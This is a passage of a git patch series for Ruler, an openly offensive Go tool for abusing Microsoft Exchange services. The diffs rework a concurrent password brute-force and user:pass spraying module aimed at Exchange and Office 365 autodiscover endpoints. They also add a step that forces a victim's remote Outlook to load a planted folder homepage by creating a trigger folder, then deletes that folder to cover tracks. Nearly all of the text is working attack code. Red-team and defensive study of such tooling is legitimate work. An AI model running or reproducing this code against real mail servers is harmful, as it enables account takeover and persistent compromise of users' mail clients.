autodiscoverStep, autodiscoverURL) - req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r)) req.Header.Add("Content-Type", "text/xml") req.Header.Add("User-Agent", "ruler") diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 507cd7d..881b04e 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -24,6 +24,16 @@ type Result struct { } var concurrency = 3 //limit the number of consecutive attempts +var delay = 5 +var consc = 3 +var usernames []string +var passwords []string +var userpass []string +var autodiscoverURL string +var basic = false +var verbose = false +var insecure = false +var stopSuccess = false func autodiscoverDomain(domain string) string { var autodiscoverURL string @@ -31,30 +41,33 @@ func autodiscoverDomain(domain string) string { //check if this is just a domain or a redirect (starts with http[s]://) if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { autodiscoverURL = domain + utils.Info.Printf("Using end-point: %s\n", domain) } else { //create the autodiscover url if autodiscoverStep == 0 { - autodiscoverURL = createAutodiscover(domain, true) + utils.Info.Println("Trying to Autodiscover domain") + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 1 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 2 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) + autodiscoverURL = createAutodiscover(domain, true) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) if autodiscoverURL == "" { return "" } } } - utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) - req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") tr := &http.Transport{ @@ -80,24 +93,49 @@ func autodiscoverDomain(domain string) string { return "" } -//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL -//And whether to stop on success -func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) { - utils.Info.Println("Trying to Autodiscover domain") - autodiscoverURL := autodiscoverDomain(domain) +//Init function to setup the brute-force session +func Init(domain, usersFile, passwordsFile, userpassFile string, b, i, s, v bool, c, d, t int) error { + autodiscoverURL = autodiscoverDomain(domain) if autodiscoverURL == "" { - return + return fmt.Errorf("No autodiscover end-point found") + } + + stopSuccess = s + insecure = i + basic = b + verbose = v + delay = d + consc = c + concurrency = t + + if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" { + basic = true + } + + if userpassFile != "" { + userpass = readFile(userpassFile) + if userpass == nil { + return fmt.Errorf("Unable to read userpass file") + } + return nil } - usernames := readFile(usersFile) + usernames = readFile(usersFile) if usernames == nil { - return + return fmt.Errorf("Unable to read usernames file") } - passwords := readFile(passwordsFile) + passwords = readFile(passwordsFile) if passwords == nil { - return + return fmt.Errorf("Unable to read passwords file") } + return nil +} + +//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL +//And whether to stop on success +func BruteForce() { + attempts := 0 stp := false @@ -131,7 +169,6 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu usernames = append(usernames[:out.Index], usernames[out.Index+1:]...) if stopSuccess == true { stp = true - } } }(u, p, ui) @@ -153,17 +190,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu } //UserPassBruteForce function does a bruteforce using a supplied user:pass file -func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) { - utils.Info.Println("Trying to Autodiscover domain") - autodiscoverURL := autodiscoverDomain(domain) - - if autodiscoverURL == "" { - return - } - userpass := readFile(userpassFile) - if userpass == nil { - return - } +func UserPassBruteForce() { count := 0 sem := make(chan bool, concurrency) @@ -176,7 +203,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces // verify colon-delimited username:password format s := strings.SplitN(up, ":", 2) if len(s) < 2 { - utils.Fail.Printf("Skipping improperly formatted entry in %s:%d\n", userpassFile, count) + utils.Fail.Printf("Skipping improperly formatted entry at line %d\n", count) continue } u, p := s[0], s[1] @@ -255,8 +282,8 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") - //if we have been redirected to outlook, change the auth header to basic auth - if basic == false { + //if basic authi is required, set auth header + if basic == true { req.SetBasicAuth(user, password) } @@ -268,6 +295,10 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}} resp, err = client.Do(req) } else { + if resp != nil { + resp.Body.Close() + } + result.Error = err return result } diff --git a/ruler.go b/ruler.go index b28b300..c22b843 100644 --- a/ruler.go +++ b/ruler.go @@ -140,25 +140,26 @@ func brute(c *cli.Context) error { return fmt.Errorf("Either --passwords or --userpass required") } - if c.GlobalString("domain") == "" && c.GlobalString("url") == "" { + if c.GlobalString("domain") == "" && c.GlobalString("url") == "" && c.GlobalBool("o365") == false { return fmt.Errorf("Either --domain or --url required") } utils.Info.Println("Starting bruteforce") - userpass := c.String("userpass") + domain := c.GlobalString("domain") + if c.GlobalString("url") != "" { + domain = c.GlobalString("url") + } + if c.GlobalBool("o365") == true { + domain = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" + } + if e := autodiscover.Init(domain, c.String("users"), c.String("passwords"), c.String("userpass"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay"), c.Int("threads")); e != nil { + return e + } - if userpass == "" { - if c.GlobalString("domain") != "" { - autodiscover.BruteForce(c.GlobalString("domain"), c.String("users"), c.String("passwords"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } else { - autodiscover.BruteForce(c.GlobalString("url"), c.String("users"), c.String("passwords"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } + if c.String("userpass") == "" { + autodiscover.BruteForce() } else { - if c.GlobalString("domain") != "" { - autodiscover.UserPassBruteForce(c.GlobalString("domain"), c.String("userpass"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } else { - autodiscover.UserPassBruteForce(c.GlobalString("url"), c.String("userpass"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } + autodiscover.UserPassBruteForce() } return nil } @@ -1410,6 +1411,11 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Value: 3, Usage: "Number of attempts before delay", }, + cli.IntFlag{ + Name: "threads,t", + Value: 3, + Usage: "Number of concurrent attempts. Reduce if mutex issues appear.", + }, cli.IntFlag{ Name: "delay,d", Value: 5, From 546bfcb98f0af8a0e490a6bc2d9c3f562f438f80 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Wed, 4 Oct 2017 09:31:21 +0200 Subject: [PATCH 34/35] Add error checking for the basic auth redirect that occurs when redirected to office365 --- autodiscover/brute.go | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 881b04e..99e7a0c 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -294,19 +294,20 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}} resp, err = client.Do(req) - } else { - if resp != nil { - resp.Body.Close() + if err != nil { + result.Error = err + return result } + } else { result.Error = err return result } } - - defer resp.Body.Close() - + if resp != nil { + defer resp.Body.Close() + } result.Status = resp.StatusCode return result } From ede68a8c670cd0aa4c9a18a24aee56290d0d2fec Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 6 Oct 2017 16:36:59 +0200 Subject: [PATCH 35/35] Attempt to force homepage to be reloaded in remote outlook. Rather than wait for user to trigger it. One breaking change (will break Liniaal) !breaks! mapi.DeleteFolder changed DeleteFolder to take parent folderID and the folderID of the folder to delete. This means DeleteFolder actually works and deletes folders. Need to push Linaal updates at same time as Ruler. --- autodiscover/brute.go | 2 ++ mapi/mapi.go | 4 ++-- ruler.go | 32 ++++++++++++++++++++++++++++---- 3 files changed, 32 insertions(+), 6 deletions(-) diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 99e7a0c..8a7909a 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -83,6 +83,8 @@ func autodiscoverDomain(domain string) string { } return "" } + + //check if we got prompted for authentication, this is normally an indicator of a valid endpoint if resp.StatusCode == 401 || resp.StatusCode == 403 { return autodiscoverURL } diff --git a/mapi/mapi.go b/mapi/mapi.go index 37b60db..01ed766 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -1723,14 +1723,14 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { } //DeleteFolder is used to delete a folder -func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { +func DeleteFolder(parentFolder, folderid []byte) (*RopDeleteFolderResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} getFolder.InputHandleIndex = 0x00 getFolder.OutputHandleIndex = 0x01 - getFolder.FolderID = folderid + getFolder.FolderID = parentFolder getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() diff --git a/ruler.go b/ruler.go index c22b843..a8269fe 100644 --- a/ruler.go +++ b/ruler.go @@ -797,10 +797,15 @@ func createHomePage(c *cli.Context) error { props := make([]mapi.PropertyTag, 1) props[0] = mapi.PidTagFolderWebViewInfo _, _, e := mapi.GetFolderProps(mapi.INBOX, props) - if e == nil { - utils.Info.Println("New endpoint set") + if e != nil { + utils.Warning.Println("New endpoint not set") + return e } - return e + utils.Info.Println("New endpoint set") + utils.Info.Println("Trying to force trigger") + mapi.CreateFolder("xyz", true) + + return nil } func displayHomePage() error { @@ -849,7 +854,26 @@ func deleteHomePage() error { if e == nil { utils.Info.Println("Webview reset") } - return e + + utils.Info.Println("Cleaning up and removing trigger") + + rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + var FolderID []byte + if er == nil { + for k := 0; k < len(rows.RowData); k++ { + //utils.Info.Println(fromUnicode(rows.RowData[k][0].ValueArray)) + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == "xyz" { + FolderID = rows.RowData[k][1].ValueArray + break + } + } + } + if _, er := mapi.DeleteFolder(folderid, FolderID); er != nil { + utils.Warning.Println("Failed to delete trigger. Should be fine though.") + } + + return nil } func searchFolders(c *cli.Context) error {